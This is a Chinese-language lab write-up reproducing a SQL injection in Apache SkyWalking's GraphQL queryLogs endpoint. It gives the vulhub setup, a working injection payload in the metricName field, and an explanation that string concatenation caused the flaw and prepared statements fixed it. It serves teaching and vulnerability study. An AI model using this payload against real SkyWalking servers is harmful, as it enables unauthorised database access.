漏洞概述
当使用H2 / MySQL / TiDB作为Apache SkyWalking存储时,通过GraphQL协议查询元数据时,存在SQL注入漏洞,该漏洞允许访问未指定的数据。 Apache SkyWalking 6.0.0到6.6.0、7.0.0 H2 / MySQL / TiDB存储实现不使用适当的方法来设置SQL参数。
环境搭建
拉取vulhub
shell
git clone https://github.com/vulhub/vulhub.git
搭建镜像
shell
cd /vulhub/skywalking/8.3.0-sqli
docker-compose up -d
访问8080端口
漏洞复现
在首页刷新即可抓到报文。
输入payload
{
"query":"query queryLogs($condition: LogQueryCondition) {
queryLogs(condition: $condition) {
total
logs {
serviceId
serviceName
isError
content
}
}
}
",
"variables":{
"condition":{
"metricName":"INFORMATION_SCHEMA.USERS union all select h2version())a where 1=? or 1=? or 1=? --",
"endpointId":"1",
"traceId":"1",
"state":"ALL",
"stateCode":"1",
"paging":{
"pageSize":10
}
}
}
}
查看返回结果
漏洞复现成功
漏洞原理
源码:https://github.com/apache/skywalking/releases/tag/v8.3.0
graphql是skywalking的一种查询协议,如果请求以下列JSON给出:
{
bookById(id: "book-1"){
id
name
pageCount
author {
firstName
lastName
}
}
}
则返回结果为:
{
"bookById": {
"id":"book-1",
"name":"Harry Potter and the Philosopher's Stone",
"pageCount":223,
"author": {
"firstName":"Joanne",
"lastName":"Rowling"
}
}
}
通常,graphql中会对对象类型进行定义:
type Query {
bookById(id: ID): Book
}
type Book {
id: ID
name: String
pageCount: Int
author: Author
}
type Author {
id: ID
firstName: String
lastName: String
}
此次产生漏洞的queryLogs为:
oap-server\server-query-plugin\query-graphql-plugin\src\main\resources\query-protocol\log.graphqls:
(这里不知道为什么下载的源码中没有,只能跑到github上看)
oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\LogQuery.java
oap-server\server-storage-plugin\storage-jdbc-hikaricp-plugin\src\main\java\org\apache\skywalking\oap\server\storage\plugin\jdbc\h2\dao\H2LogQueryDAO.java
采取了直接拼接的方式。
5、修复方法
修复后使用了占位符,即预编译。